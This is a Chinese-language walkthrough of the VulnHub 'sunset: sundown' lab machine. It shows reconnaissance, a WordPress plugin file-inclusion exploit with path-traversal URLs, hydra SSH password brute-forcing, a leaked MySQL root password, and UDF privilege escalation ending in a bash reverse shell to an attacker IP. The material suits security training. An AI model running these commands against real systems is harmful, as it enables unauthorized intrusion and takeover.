Vulnhub-sundown

总结:该靶机是一个wordpress 管理系统,需要信息收集得到插件信息 ,然后搜索插件漏洞 ,得到一个文件包含exp ,利用其得到一个普通用户,利用hydra爆破 密码然后ssh连接,信息收集得到一个数据库配置信息,普通命令无法查看,需要利用文件包含查看,最后利用账号密码登录mysql ,然后利用UDF提权 拿到root权限

一、靶机搭建

选择打开选项

选中下载的ova文件,然后导入选择一个存放路径即可

二、信息收集

官方信息

php 复制代码
Name: sunset: sundown
Date release: 4 Aug 2020
难度:初级/中级

扫ip

靶机ip:192.168.108.155

扫开放端口和服务信息

开启了22和80端口

指纹探测

执行以下命令

php 复制代码
nmap 192.168.108.155 -p 22,80 -sV -sC -O --version-all 

拿到了一些服务信息

目录扫描

dirsearch 扫描,可以得到很多目录,dirb扫描结果也是一样

收集一下可用信息:

php 复制代码
http://192.168.108.155/robots.txt
http://192.168.108.155/wp-config.php
http://192.168.108.155/wp-admin
http://192.168.108.155/wp-content/uploads/ 
http://192.168.108.155/wp-includes/ 
http://192.168.108.155/wp-cron.php 
http://192.168.108.155/wp-login.php 

三、Web渗透

信息收集

打开网页,有一个搜索框,但是没有什么用,

看看网站指纹信息,发现WordPress 5.4.2

访问robots.txt,发现两个目录

看到这里想起来之前刷的DC-6 靶机,也是这个框架,账户位admin

看看另一个目录,没有什么信息

访问之前扫描出来的文件上传,可能存在文件上传漏洞

访问includes文件有很多文件,但是都无法打开

看看cron文件

搜索历史漏洞

输入admin看看,账户正确,但是密码不对

框架插件漏洞利用

利用wpscan爆破,但是时间太久了,放弃

php 复制代码
wpscan --url http://192.168.108.155 --usernames admin -P /usr/share/wordlists/rockyou.txt

看看插件信息,这里提醒一下,靶机遇到wordpress框架的,可以先查看框架的插件信息,多数存在漏洞

php 复制代码
wpscan --url http://192.168.108.155 --enumerate p,t

拿到插件信息

搜索历史漏洞,下载下来

查看该文件得到以下信息,是文件包含漏洞

php 复制代码
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec  

漏洞代码

php 复制代码
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);  #这就很明显是文件包含了

利用代码访问,发现一个有bash权限的carlos用户

利用hydra爆破密码,密码就是用户名

php 复制代码
hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://192.168.108.155

ssh连接,成功登录

四、提权

信息收集

先找找可用信息

没啥用的密文

进入**/home**目录看看

进入网站源码存放目录查看,因为这是一个框架程序,所以其源码 一般在网站源码下,发现配置文件信息

利用命令查看,发现权限不足,看来行不通了

想到之前的文件包含漏洞,利用该路径访问试试

php 复制代码
http://192.168.108.155//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/html/wordpress/wp-config.php

成功访问,但是代码太乱了,打开源码查看,发现数据库账号密码

账户:root 密码:VjFSQ2IyRnNUak5pZWpCTENnPT0K

php 复制代码
mysql -u root -p

成功登录

查看数据库,但是没有什么可用信息,应该需要使用UDF提权,mysql特有的一种提权方式

UDF提权

先看看版本是64位还是32位,这决定你使用的udf文件带64还是不带64

是64位后再查看secure_file_priv 是否为空,因为这决定了mysql会不会对导入导出做限制

php 复制代码
show global variables like 'secure%';

没有回显

看看具体信息,可以提权

  • secure_file_priv 的值为 NULL ,表示不允许导入导出,无法提权

  • secure_file_priv 的值为 /tmp/ ,表示导入导出只能在 /tmp/ 目录下,无法提权

  • secure_file_priv 的值为空,表示不对导入导出做限制,此时可提权

​ 若mysql版本**>=5.1** 时,上传udf 位置需要在mysql\lib\plugin 里,通过show variables like "%plugin%" 来查看(若没有则新建一个),小于的话则不需要,可以看到是大于5.1

查看路径

php 复制代码
show variables like '%plugin%';
路径:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

​ 得知以上的利用信息都允许情况下,就开始提权操作了,kali到/usr/share/metasploit-framework/data/exploits/mysql 这个目录中复制64位的udf 文件到本地(若是windows则用.dll 文件,linux就用.so文件,根据是32位还是64位来选取不同文件)

开启web服务传输文件

成功上传

返回靶机,进入**/tmp**目录下

然后回到数据库执行下面的命令,看看mysql数据库下的数据表信息

执行下面的命令

php 复制代码
create table shell(line blob);    # 需要为blob,因为是二进制对象存储容器,存储下面load_file的返回值
insert into shell values(load_file('/tmp/lib_mysqludf_sys_64.so'));    # 插入并存储load_file的返回值

写入文件并创建函数,以此来反弹shell(这里的bash一定要加-c参数,否则只有bash -i会报错)

php 复制代码
select * from shell into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so';    # 将/tmp/udf文件写入到plugin里
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';    # 创建函数于udf文件中加载
select sys_exec('bash -c "bash -i >& /dev/tcp/192.168.108.130/4444 0>&1"');    # 调用函数执行反弹shell

开启监听端口并执行,成功反弹shell

flag

sundown用户 目录下发现flag

值:510252fabb4b7e7dddd7373b7b3da3e8

相关推荐
Sweet_vinegar2 小时前
版本控制泄露源码 .git
git·安全·web·ctf·ctfshow
故事与他6456 小时前
upload-labs-master通关攻略(13~16)
java·服务器·前端·安全·网络安全
Sweet_vinegar7 小时前
版本控制泄露源码 .svn
安全·svn·web·ctf·ctfshow
岛屿旅人8 小时前
基于生成式人工智能的网络安全主动防御技术(上)
网络·人工智能·安全·web安全·网络安全
火绒终端安全管理系统8 小时前
火绒企业版V2.0全面支持Linux与国产化系统!免费试用助力国产化终端安全升级
网络·安全·网络安全·火绒安全·火绒
火绒终端安全管理系统8 小时前
火绒终端安全管理系统V2.0--纵深防御体系(分层防御)之内容拦截层
网络·安全·网络安全·火绒安全·火绒
鼎新安全实验室8 小时前
正向代理与反向代理
网络安全
leaf_lucky14 小时前
应急响应--流量分析
web安全·网络安全·系统安全
七七知享17 小时前
Go 语言编程全解析:Web 微服务与数据库十大专题深度精讲
数据库·web安全·网络安全·微服务·golang·web3·webkit